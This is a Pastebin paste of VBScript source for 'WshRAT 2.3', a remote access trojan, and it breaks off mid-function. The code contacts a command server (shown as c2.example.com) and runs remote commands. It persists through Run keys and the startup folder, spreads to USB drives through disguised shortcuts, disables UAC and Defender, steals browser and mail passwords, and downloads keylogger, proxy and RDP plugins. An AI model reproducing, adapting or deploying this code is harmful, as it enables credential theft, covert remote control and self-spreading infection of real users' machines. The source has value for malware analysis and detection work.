Racco42

WshRAT 2.3 Visual Basic

Oct 29th, 2019
5,358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 118.66 KB | None | 0 0
  1. host = getHost()
  2. port = 9999
  3. installdir = "%temp%"
  4. runAsAdmin = false
  5. lnkfile = true
  6. lnkfolder = true
  7. registry = true
  8. startupfold = true
  9. anti_bot = false
  10. if anti_bot = true then
  11.     if hwid = "null" then
  12.     wscript.quit
  13.     end if
  14. end if
  15. if runAsAdmin = true then
  16.     startupElevate()
  17. end if
  18. if WScript.Arguments.Named.Exists("elevated") = true then
  19.     disableSecurity()
  20. end if
  21. dim shellobj
  22. set shellobj = wscript.createobject("wscript.shell")
  23. dim filesystemobj
  24. set filesystemobj = createobject("scripting.filesystemobject")
  25. dim httpobj
  26. set httpobj = createobject("msxml2.xmlhttp")
  27. installname = wscript.scriptname
  28. startup = shellobj.specialfolders ("startup") & "\"
  29. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  30. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  31. spliter = "|"
  32. sdkpath = installdir & "wshsdk"
  33. sdkfile = sdkpath & "\" & chr(112) & chr(121) & chr(116) & chr(104) & chr(111) & chr(110) & chr(46) & chr(101) & chr(120) & chr(101)
  34. sleep = 5000
  35. dim response
  36. dim cmd
  37. dim param
  38. info = ""
  39. usbspreading = ""
  40. startdate = ""
  41. dim oneonce
  42. on error resume next
  43. instance
  44. if getBinder() <> false then
  45.     runBinder()
  46. end if
  47. while true
  48.     install
  49.     response = ""
  50.     response = post ("is-ready","")
  51.     cmd = split (response,spliter)
  52.     select case cmd (0)
  53.     case "disconnect"
  54.         wscript.quit
  55.     case "reboot"
  56.         shellobj.run "%comspec% /c shutdown /r /t 0 /f", 0, TRUE
  57.     case "shutdown"
  58.         shellobj.run "%comspec% /c shutdown /s /t 0 /f", 0, TRUE
  59.     case "excecute"
  60.         param = cmd (1)
  61.         execute param
  62.     case "install-sdk"
  63.         if filesystemobj.fileExists(sdkfile) then
  64.         updatestatus("SDK+Already+Installed")
  65.         else
  66.         installsdk()
  67.         end if
  68.     case "get-pass"
  69.         passgrabber cmd(1), "cmdv.exe", cmd(2)
  70.     case "get-pass-offline"
  71.         if filesystemobj.fileExists(sdkfile) then
  72.         passgrabber cmd(3), "cmdv.exe", "ie"
  73.         passgrabber "null", "cmdv.exe", "chrome"
  74.         passgrabber "null", "cmdv.exe", "mozilla"
  75.         passgrabber2 cmd(1), "cmdv.exe", cmd(2)
  76.         else
  77.         updatestatus("Installing+SDK")
  78.         stat = installsdk()
  79.         if stat = true then
  80.             passgrabber cmd(3), "cmdv.exe", "ie"
  81.             passgrabber "null", "cmdv.exe", "chrome"
  82.             passgrabber "null", "cmdv.exe", "mozilla"
  83.             passgrabber2 cmd(1), "cmdv.exe", cmd(2)
  84.         else
  85.             msg = shellobj.ExpandEnvironmentStrings("%computername%") & "/" & shellobj.ExpandEnvironmentStrings("%username%")
  86.             post "show-toast", "Unable to automatically recover password for " & msg & " as the Password Recovery SDK cannot be automatically installed. You can try again manually."
  87.         end if
  88.         end if
  89.     case "update"
  90.         param = mid(response, instr(response, "|") + 1)
  91.         oneonce.close
  92.         set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  93.         oneonce.write param
  94.         oneonce.close
  95.         shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  96.         wscript.quit
  97.     case "uninstall"
  98.         uninstall
  99.     case "up-n-exec"
  100.         download cmd (1),cmd (2)
  101.     case "bring-log"
  102.         upload installdir & "wshlogs\" & cmd (1), "take-log"
  103.     case "down-n-exec"
  104.         sitedownloader cmd (1),cmd (2)
  105.     case  "filemanager"
  106.         servicestarter cmd(1), "fm-plugin.exe", information()
  107.     case  "rdp"
  108.         keyloggerstarter cmd(1), "rd-plugin.exe", information(), "", true
  109.     case  "rev-proxy"
  110.         reverseproxy "rprox.exe", cmd(1)
  111.     case  "exit-proxy"
  112.         shellobj.run "%comspec% /c taskkill /F /IM rprox.exe", 0, true
  113.     case  "keylogger"
  114.         keyloggerstarter cmd(1), "kl-plugin.exe", information(), 0, false
  115.     case  "offline-keylogger"
  116.         keyloggerstarter cmd(1), "kl-plugin.exe", information(), 1, false
  117.     case  "browse-logs"
  118.         post "is-logs", enumfaf(installdir & "wshlogs")
  119.     case  "cmd-shell"
  120.         param = cmd (1)
  121.         post "is-cmd-shell",cmdshell (param)
  122.     case  "get-processes"
  123.         post "is-processes", enumprocess()
  124.     case  "disable-uac"
  125.         if WScript.Arguments.Named.Exists("elevated") = true then
  126.         set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
  127.         oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0
  128.         oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0
  129.         oReg.SetDwordValue &H80000002,"SOFTWARE\Policies\Microsoft\Windows Defender","DisableAntiSpyware", 1
  130.         oReg = nothing
  131.         updatestatus("UAC+Disabled+(Reboot+Required)")
  132.         end if
  133.     case  "check-eligible"
  134.         if filesystemobj.fileExists(cmd(1)) then
  135.         updatestatus("Is+Eligible")
  136.         else
  137.         updatestatus("Not+Eligible")
  138.         end if
  139.     case  "rev-rdp":
  140.         reverserdp cmd(3) & ".exe", cmd(1), cmd(2)
  141.     case  "force-eligible"
  142.         if WScript.Arguments.Named.Exists("elevated") = true then
  143.         if filesystemobj.folderExists(cmd(1)) then
  144.             shellobj.run "%comspec% /c " & cmd(2), 0, true
  145.             updatestatus("SUCCESS")
  146.         else
  147.             updatestatus("Component+Missing")
  148.         end if
  149.         else
  150.         updatestatus("Elevation+Required")
  151.         end if
  152.     case  "elevate"
  153.         if WScript.Arguments.Named.Exists("elevated") = false then
  154.         on error resume next
  155.         oneonce.close()
  156.         oneonce = nothing
  157.         WScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1
  158.         updatestatus("Client+Elevated")
  159.         WScript.quit
  160.         else
  161.         updatestatus("Client+Elevated")
  162.         end if
  163.     case  "if-elevate"
  164.         if WScript.Arguments.Named.Exists("elevated") = false then
  165.         updatestatus("Client+Not+Elevated")
  166.         else
  167.         updatestatus("Client+Elevated")
  168.         end if
  169.     case  "kill-process"
  170.         exitprocess(cmd(1))
  171.     case  "sleep"
  172.         param = cmd (1)
  173.         sleep = eval (param)
  174.     end select
  175.     wscript.sleep sleep
  176. wend
  177.  
  178. function installsdk()
  179.     on error resume next
  180.     success = false
  181.     sdkurl = post ("moz-sdk","")
  182.     set objhttpdownload = createobject("msxml2.xmlhttp")
  183.     objhttpdownload.open "get",sdkurl, false
  184.     objhttpdownload.setrequestheader "cache-control:", "max-age=0"
  185.     objhttpdownload.send
  186.     if  filesystemobj.fileexists (installdir & "wshsdk.zip") then
  187.     filesystemobj.deletefile (installdir & "wshsdk.zip")
  188.     end if
  189.     if  objhttpdownload.status = 200 then
  190.     dim  objstreamdownload
  191.     set  objstreamdownload = createobject("adodb.stream")
  192.     with objstreamdownload
  193.         .type = 1
  194.         .open
  195.         .write objhttpdownload.responsebody
  196.         .savetofile installdir & "wshsdk.zip"
  197.         .close
  198.     end with
  199.     set objstreamdownload  = nothing
  200.     end if
  201.     if filesystemobj.fileexists(installdir & "wshsdk.zip") then
  202.     UnZip installdir & "wshsdk.zip", sdkpath
  203.     success = true
  204.     updatestatus("SDK+Installed")
  205.     end if
  206.     installsdk = success
  207. end function
  208.  
  209. sub install
  210.     on error resume next
  211.     dim lnkobj
  212.     dim filename
  213.     dim foldername
  214.     dim fileicon
  215.     dim foldericon
  216.     upstart
  217.     for each drive in filesystemobj.drives
  218.     if  drive.isready = true then
  219.         if  drive.freespace  > 0 then
  220.         if  drive.drivetype  = 1 then
  221.             filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  222.             if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  223.             filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  224.             end if
  225.             for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  226.             if not lnkfile then exit for
  227.             if  instr (file.name,".") then
  228.                 if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  229.                     file.attributes = 2+4
  230.                     if  ucase (file.name) <> ucase (installname) then
  231.                     filename = split(file.name,".")
  232.                     set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  233.                     lnkobj.windowstyle = 7
  234.                     lnkobj.targetpath = "cmd.exe"
  235.                     lnkobj.workingdirectory = ""
  236.                     lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  237.                     fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  238.                     if  instr (fileicon,",") = 0 then
  239.                         lnkobj.iconlocation = file.path
  240.                     else
  241.                         lnkobj.iconlocation = fileicon
  242.                     end if
  243.                     lnkobj.save()
  244.                 end if
  245.                 end if
  246.             end if
  247.             next
  248.             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  249.                 if not lnkfolder then exit for
  250.                 folder.attributes = 2+4
  251.                 foldername = folder.name
  252.                 set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  253.                 lnkobj.windowstyle = 7
  254.                 lnkobj.targetpath = "cmd.exe"
  255.                 lnkobj.workingdirectory = ""
  256.                 lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  257.                 foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  258.                 if  instr (foldericon,",") = 0 then
  259.                 lnkobj.iconlocation = folder.path
  260.             else
  261.                 lnkobj.iconlocation = foldericon
  262.             end if
  263.             lnkobj.save()
  264.             next
  265.         end If
  266.         end If
  267.     end if
  268.     next
  269.     err.clear
  270. end sub
  271.  
  272. sub uninstall
  273.     on error resume next
  274.     dim filename
  275.     dim foldername
  276.     shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  277.     shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  278.     filesystemobj.deletefile startup & installname ,true
  279.     filesystemobj.deletefile wscript.scriptfullname ,true
  280.     for  each drive in filesystemobj.drives
  281.     if  drive.isready = true then
  282.         if  drive.freespace  > 0 then
  283.         if  drive.drivetype  = 1 then
  284.             for  each file in filesystemobj.getfolder ( drive.path & "\").files
  285.             on error resume next
  286.             if  instr (file.name,".") then
  287.                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  288.                 file.attributes = 0
  289.                 if  ucase (file.name) <> ucase (installname) then
  290.                     filename = split(file.name,".")
  291.                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  292.                 else
  293.                     filesystemobj.deletefile (drive.path & "\" & file.name)
  294.                 end If
  295.                 else
  296.                 filesystemobj.deletefile (file.path)
  297.                 end if
  298.             end if
  299.             next
  300.             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  301.             folder.attributes = 0
  302.             next
  303.         end if
  304.         end if
  305.     end if
  306.     next
  307.     wscript.quit
  308. end sub
  309.  
  310. function post (cmd ,param)
  311.     post = param
  312.     httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  313.     httpobj.setrequestheader "user-agent:",information
  314.     httpobj.send param
  315.     post = httpobj.responsetext
  316. end function
  317.  
  318. function information
  319.     on error resume next
  320.     if  inf = "" then
  321.     inf = hwid & spliter
  322.     inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  323.     inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  324.     set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  325.     set os = root.execquery ("select * from win32_operatingsystem")
  326.     for each osinfo in os
  327.         inf = inf & osinfo.caption & spliter
  328.         exit for
  329.     next
  330.     inf = inf & "plus" & spliter
  331.     inf = inf & security & spliter
  332.     inf = inf & usbspreading
  333.     inf = "WSHRAT" & spliter & inf & spliter & "Visual Basic-v2.3" & spliter & getCountry()
  334.     information = inf
  335.     else
  336.     information = inf
  337.     end if
  338. end function
  339.  
  340. function getHost()
  341.     phost = "c2.example.com"
  342.     if instr(phost, "http://") = 1 then
  343.     on error resume next
  344.     set objhttpdownload = CreateObject("msxml2.xmlhttp" )
  345.     objhttpdownload.open "get", phost, false
  346.     objhttpdownload.setRequestHeader "user-agent:", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
  347.     objhttpdownload.send
  348.     if objhttpdownload.status = 200 then
  349.         set objstreamdownload = CreateObject("adodb.stream")
  350.         objstreamdownload.Type = 1
  351.         objstreamdownload.Open
  352.         objstreamdownload.Write(objhttpdownload.responseBody)
  353.         objstreamdownload.Position = 0
  354.         objstreamdownload.Type = 2
  355.         objstreamdownload.CharSet = "us-ascii"
  356.         phost = objstreamdownload.ReadText
  357.         objstreamdownload.close
  358.         set objstreamdownload = nothing
  359.         getHost = phost
  360.     end if
  361.     else
  362.     getHost = phost
  363.     end if
  364. end function
  365.  
  366. function getCountry()
  367.     on error resume next
  368.     set objhttpdownload = createobject("msxml2.xmlhttp" )
  369.     objhttpdownload.open "get", "http://ip-api.com/json/", false
  370.     objhttpdownload.setRequestHeader "user-agent:", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
  371.     objhttpdownload.send
  372.     if objhttpdownload.status = 200 then
  373.     dim  objstreamdownload, raw, cc, cn
  374.     set  objstreamdownload = createobject("adodb.stream")
  375.     with objstreamdownload
  376.         .type = 1
  377.         .open
  378.         .write objhttpdownload.responsebody
  379.         .position = 0
  380.         .type = 2
  381.         .charset = "us-ascii"
  382.         raw = .readtext
  383.     end with
  384.     set objstreamdownload = nothing
  385.     end if
  386.     cc = "01"
  387.     cn = "Unknown"
  388.     cc = mid(raw, instr(raw, "countryCode") + 14)
  389.     cc = mid(cc, 1, instr(cc, chr(34)) -1)
  390.     cn = mid(raw, instr(raw, "country") + 10)
  391.     cn = mid(cn, 1, instr(cn, chr(34)) -1)
  392.     getCountry = cc & ":" & cn
  393. end function
  394.  
  395. sub upstart ()
  396.     on error resume Next
  397.     if registry = true then
  398.     shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  399.     shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  400.     end if
  401.     filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  402.     if startupfold = true then
  403.     filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  404.     end if
  405. end sub
  406.  
  407. function hwid
  408.     on error resume next
  409.     set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  410.     set disks = root.execquery ("select * from win32_logicaldisk")
  411.     for each disk in disks
  412.     if  disk.volumeserialnumber <> "" then
  413.         hwid = disk.volumeserialnumber
  414.         exit for
  415.         end if
  416.     next
  417. end function
  418.  
  419. function security
  420.     on error resume next
  421.     security = ""
  422.     set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  423.     set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  424.     for each objitem in colitems
  425.     versionstr = split (objitem.version,".")
  426.     next
  427.     versionstr = split (colitems.version,".")
  428.     osversion = versionstr (0) & "."
  429.     for  x = 1 to ubound (versionstr)
  430.     osversion = osversion &  versionstr (i)
  431.     next
  432.     osversion = eval (osversion)
  433.     if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  434.     set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  435.     Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  436.     for each objantivirus in colantivirus
  437.     security  = security  & objantivirus.displayname & " ."
  438.     next
  439.     if security  = "" then security  = "nan-av"
  440. end function
  441.  
  442. function instance
  443.     on error resume next
  444.     usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  445.     if usbspreading = "" then
  446.     if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  447.         usbspreading = "true - " & date
  448.         shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  449.     else
  450.         usbspreading = "false - " & date
  451.         shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  452.     end if
  453.     end If
  454.     upstart
  455.     set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  456.     set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  457.     if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  458.     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  459.     wscript.quit
  460.     end If
  461.     err.clear
  462.     set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  463.     if  err.number > 0 then wscript.quit
  464. end function
  465.  
  466. sub startupElevate()
  467.     if WScript.Arguments.Named.Exists("elevated") = false then
  468.     on error resume next
  469.     WScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1
  470.         WScript.quit
  471.         end if
  472. end sub
  473.  
  474. sub disableSecurity()
  475.     if WScript.Arguments.Named.Exists("elevated") = true then
  476.     set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
  477.     oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0
  478.     oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0
  479.     oReg = nothing
  480.     end if
  481. end sub
  482.  
  483. function decode_base64(base64_string)
  484.     Set yhm_pepe = CreateObject("ADODB.Stream")
  485.     Set spike = CreateObject("Microsoft.XMLDOM").createElement("tmp")
  486.     spike.DataType = "bin.base64"
  487.     spike.Text = base64_string
  488.     yhm_pepe.Type = 1
  489.     yhm_pepe.Open
  490.     yhm_pepe.Write spike.NodeTypedValue
  491.     yhm_pepe.Position = 0
  492.     yhm_pepe.Type = 2
  493.     yhm_pepe.CharSet = "us-ascii"
  494.     decode_base64 = yhm_pepe.ReadText
  495. end function
  496.  
  497. sub decode_pass(retcmd)
  498.     dim content, nss, command
  499.     if retcmd = "mozilla" then
  500.     command = "give-me-ffpv"
  501.     elseif retcmd = "chrome" then
  502.     command = "give-me-chpv"
  503.     elseif retcmd = "foxmail" then
  504.     command = "give-me-fm"
  505.     end if
  506.     set objhttpdownload = createobject("msxml2.xmlhttp")
  507.     set objfsodownload = createobject ("scripting.filesystemobject")
  508.     objhttpdownload.open "post","http://" & host & ":" & port &"/" & command, false
  509.     objhttpdownload.setrequestheader "user-agent:",information
  510.     objhttpdownload.send ""
  511.     if  objfsodownload.fileexists (installdir & "rundll") then
  512.     objfsodownload.deletefile (installdir & "rundll")
  513.     end if
  514.     if  objhttpdownload.status = 200 then
  515.     dim  objstreamdownload
  516.     set  objstreamdownload = createobject("adodb.stream")
  517.     with objstreamdownload
  518.         .type = 1
  519.         .open
  520.         .write objhttpdownload.responsebody
  521.         .position = 0
  522.         .type = 2
  523.         .charset = "us-ascii"
  524.         content = .readtext
  525.         nss = sdkpath & "\nss"
  526.         content = Replace(content, "%nss%", nss) 'for firefox
  527.         content = Replace(content, "%path%", installdir & "Login Data") 'for chrome
  528.         objfsodownload.opentextfile(installdir & "rundll", 2, true).write(content)
  529.         .close
  530.     end with
  531.     set objstreamdownload  = nothing
  532.     end if
  533.     shellobj.run "%comspec% /c cd " & chr(34) & sdkpath & chr(34) & " && " &  gsp(sdkfile) & " " & gsp(installdir & "rundll") & " > " & chr(34) & installdir & "wshout" & chr(34), 0, true
  534.     wscript.sleep(2000)
  535.     content = objfsodownload.opentextfile(installdir & "wshout").readall
  536.     objfsodownload.deletefile (installdir & "rundll")
  537.     objfsodownload.deletefile (installdir & "wshout")
  538.     post retcmd, content
  539. end sub
  540.  
  541. function gsp(path)
  542.     gsp = filesystemobj.getfile(path).shortpath
  543. end function
  544.  
  545. sub passgrabber (fileurl, filename, retcmd)
  546.     on error resume next
  547.     dim content, profile, folder
  548.     set objfsodownload = createobject ("scripting.filesystemobject")
  549.     if retcmd = "ie" then
  550.     content = decode_base64(fileurl)
  551.     executeglobal content
  552.     return
  553.     elseif retcmd = "chrome" then
  554.     folder = shellobj.expandenvironmentstrings("%temp%")
  555.     folder = mid(folder, 1, instr(lcase(folder), "temp") - 1) & "Google\Chrome\User Data\Default\Login Data"
  556.     if  objfsodownload.fileexists(folder) then
  557.         objfsodownload.copyfile folder, installdir & "Login Data", true
  558.         if objfsodownload.fileexists(sdkfile) then
  559.         decode_pass(retcmd)
  560.         objfsodownload.deletefile(installdir & "Login Data")
  561.         else
  562.         post "show-toast", "WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu"
  563.         end if
  564.     else
  565.         post retcmd, "No Password Found"
  566.     end if
  567.     elseif retcmd = "foxmail" then
  568.     if objfsodownload.fileexists(sdkfile) then
  569.         decode_pass(retcmd)
  570.     else
  571.         post "show-toast", "WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu"
  572.     end if
  573.     elseif retcmd = "mozilla" then
  574.     folder = shellobj.expandenvironmentstrings("%appdata%") & "\Mozilla\Firefox\"
  575.     if  objfsodownload.fileexists (folder & "profiles.ini") then
  576.         content = filesystemobj.openTextFile(folder & "profiles.ini").readall
  577.         if instr(content, "Path=") > 0 then
  578.         content = mid(content, instr(content, "Path=") + 5)
  579.         content = mid(content, 1, instr(content, vbCrLf) - 1)
  580.         profile = Replace(folder & content, "/", "\")
  581.         folder = profile & "\logins.json"
  582.         if objfsodownload.fileexists(sdkfile) then
  583.             decode_pass(retcmd)
  584.         else
  585.             post "show-toast", "WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu"
  586.         end if
  587.         else
  588.         post retcmd, "No Password Found"
  589.         end if
  590.     else
  591.         post retcmd, "No Password Found"
  592.     end if
  593.     else
  594.     passgrabber2 fileurl, filename, retcmd
  595.     end if
  596. end sub
  597.  
  598. Sub UnZip(zipfile, ExtractTo)
  599.     if filesystemobj.GetExtensionName(zipfile) = "zip" then
  600.     If NOT filesystemobj.FolderExists(ExtractTo) Then
  601.         filesystemobj.CreateFolder(ExtractTo)
  602.     End If
  603.     set objShell = CreateObject("Shell.Application")
  604.     set destination = objShell.NameSpace(ExtractTo)
  605.     set zip_content = objShell.NameSpace(zipfile).Items
  606.     for i = 0 to zip_content.count - 1
  607.         if (filesystemobj.FileExists(filesystemobj.Buildpath(ExtractTo,zip_content.item(i).name)+"."+filesystemobj.getExtensionName(zip_content.item(i).path))) then
  608.         filesystemobj.DeleteFile(filesystemobj.Buildpath(ExtractTo,zip_content.item(i).name)+"."+filesystemobj.getExtensionName(zip_content.item(i).path))
  609.         end if
  610.         destination.copyHere zip_content.item(i), 20
  611.     next
  612.     End if
  613. End Sub
  614.  
  615. sub passgrabber2 (fileurl, filename, retcmd)
  616.     on error resume next
  617.     shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  618.     filesystemobj.deleteFile(installdir & filename & "data")
  619.     config_file = installdir & mid(filename, 1, instrrev(filename, ".")) & ".cfg"
  620.     cfg = "[General]" & vbcrlf & "ShowGridLines=0" & vbcrlf & "SaveFilterIndex=0" & vbcrlf & "ShowInfoTip=1" & vbcrlf & "UseProfileFolder=0" & vbcrlf & "ProfileFolder=" & vbcrlf & "MarkOddEvenRows=0" & vbcrlf & "WinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00" & vbcrlf & "Columns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00" & vbcrlf & "Sort=0"
  621.     set writer = filesystemobj.openTextFile(config_file, 2, true)
  622.     writer.writeLine(cfg)
  623.     writer.close()
  624.     set writer = nothing
  625.     strlink = fileurl
  626.     strsaveto = installdir & filename
  627.     set objhttpdownload = createobject("msxml2.xmlhttp" )
  628.     objhttpdownload.open "get", strlink, false
  629.     objhttpdownload.setRequestHeader "cache-control:", "max-age=0"
  630.     objhttpdownload.send
  631.     set objfsodownload = createobject ("scripting.filesystemobject")
  632.     if  objfsodownload.fileexists (strsaveto) then
  633.     objfsodownload.deletefile (strsaveto)
  634.     end if
  635.     if objhttpdownload.status = 200 then
  636.     dim  objstreamdownload
  637.     set  objstreamdownload = createobject("adodb.stream")
  638.     with objstreamdownload
  639.         .type = 1
  640.         .open
  641.         .write objhttpdownload.responsebody
  642.         .savetofile strsaveto
  643.         .close
  644.     end with
  645.     set objstreamdownload = nothing
  646.     end if
  647.     if objfsodownload.fileexists(strsaveto) then
  648.     set runner = CreateObject("Shell.Application")
  649.     saver = objfsodownload.getFile(strsaveto).shortPath
  650.     for i = 0 to 4
  651.         shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  652.         wscript.sleep(1000)
  653.         runner.shellexecute saver, " /stext " & saver & "data"
  654.         wscript.sleep(2000)
  655.         if objfsodownload.fileExists(saver & "data") then
  656.         dim  httpobj,objstreamuploade,buffer, outpath, folder
  657.         set  objstreamuploade = createobject("adodb.stream")
  658.         with objstreamuploade
  659.             .type = 2
  660.             .open
  661.             .loadfromfile saver & "data"
  662.             buffer = .readtext
  663.             .close
  664.         end with
  665.         set objstreamuploade = nothing
  666.         outpath = installdir & "wshlogs\recovered_password_email.log"
  667.         folder = objfsodownload.GetParentFolderName(outpath)
  668.         if not objfsodownload.FolderExists(folder) then
  669.             shellobj.run "%comspec% /c mkdir " & chr(34) & folder & chr(34), 0, true
  670.         end if
  671.         set writer = filesystemobj.openTextFile(outpath, 2, true)
  672.         writer.write(buffer)
  673.         writer.close()
  674.         set writer = nothing
  675.         upload saver & "data", retcmd
  676.         exit for
  677.         end if
  678.     next
  679.     deletefaf(strsaveto)
  680.     end if
  681. end sub
  682.  
  683. sub reverseproxy (filename, filearg)
  684.     shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  685.     strsaveto = installdir & filename
  686.     set objfsodownload = createobject ("scripting.filesystemobject")
  687.     if  objfsodownload.fileexists (strsaveto) then
  688.     objfsodownload.deletefile (strsaveto)
  689.     end if
  690.     dim  objstreamdownload
  691.     set  objstreamdownload = createobject("adodb.stream")
  692.     with objstreamdownload
  693.     .type = 1
  694.     .open
  695.     .write getReverseProxy()
  696.     .savetofile strsaveto
  697.     .close
  698.     end with
  699.     set objstreamdownload = nothing
  700.     if objfsodownload.fileexists(strsaveto) then
  701.     shellobj.run chr(34) & strsaveto & chr(34) & " " & host & " " & port & " " & filearg
  702.     end if
  703. end sub
  704.  
  705. sub reverserdp(filename, filearg, fileurl)
  706.     on error resume next
  707.     shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  708.     strsaveto = installdir & filename
  709.     set objhttpdownload = CreateObject("msxml2.serverxmlhttp")
  710.     objhttpdownload.open "get", fileurl, false
  711.     objhttpdownload.setRequestHeader "cache-control", "max-age=0"
  712.     objhttpdownload.send
  713.     set objfsodownload = CreateObject("scripting.filesystemobject")
  714.     if objfsodownload.fileExists(strsaveto) then
  715.     objfsodownload.deleteFile(strsaveto)
  716.     end if
  717.     set objstreamdownload = CreateObject("adodb.stream")
  718.     objstreamdownload.Type = 1
  719.     objstreamdownload.Open
  720.     objstreamdownload.Write(objhttpdownload.responseBody)
  721.     objstreamdownload.SaveToFile(strsaveto)
  722.     objstreamdownload.close
  723.     set objstreamdownload = nothing
  724.     if objfsodownload.fileExists(strsaveto) then
  725.     shellobj.run chr(34) & strsaveto & chr(34) & " " & host & " " & port & " " & filearg
  726.     end if
  727. end sub
  728.  
  729. sub keyloggerstarter (fileurl, filename, filearg, is_offline, is_rdp)
  730.     shellobj.run "%comspec% /c taskkill /F /IM " & filename, 0, true
  731.     strlink = fileurl
  732.     strsaveto = installdir & filename
  733.     set objfsodownload = createobject ("scripting.filesystemobject")
  734.     if  objfsodownload.fileexists (strsaveto) then
  735.     objfsodownload.deletefile (strsaveto)
  736.     end if
  737.     dim  objstreamdownload
  738.     set  objstreamdownload = createobject("adodb.stream")
  739.     with objstreamdownload
  740.     .type = 1
  741.     .open
  742.     if is_rdp = true then
  743.         .write getRDP()
  744.     else
  745.         .write getKeyLogger()
  746.     end if
  747.     .savetofile strsaveto
  748.     .close
  749.     end with
  750.     set objstreamdownload = nothing
  751.     if objfsodownload.fileexists(strsaveto) then
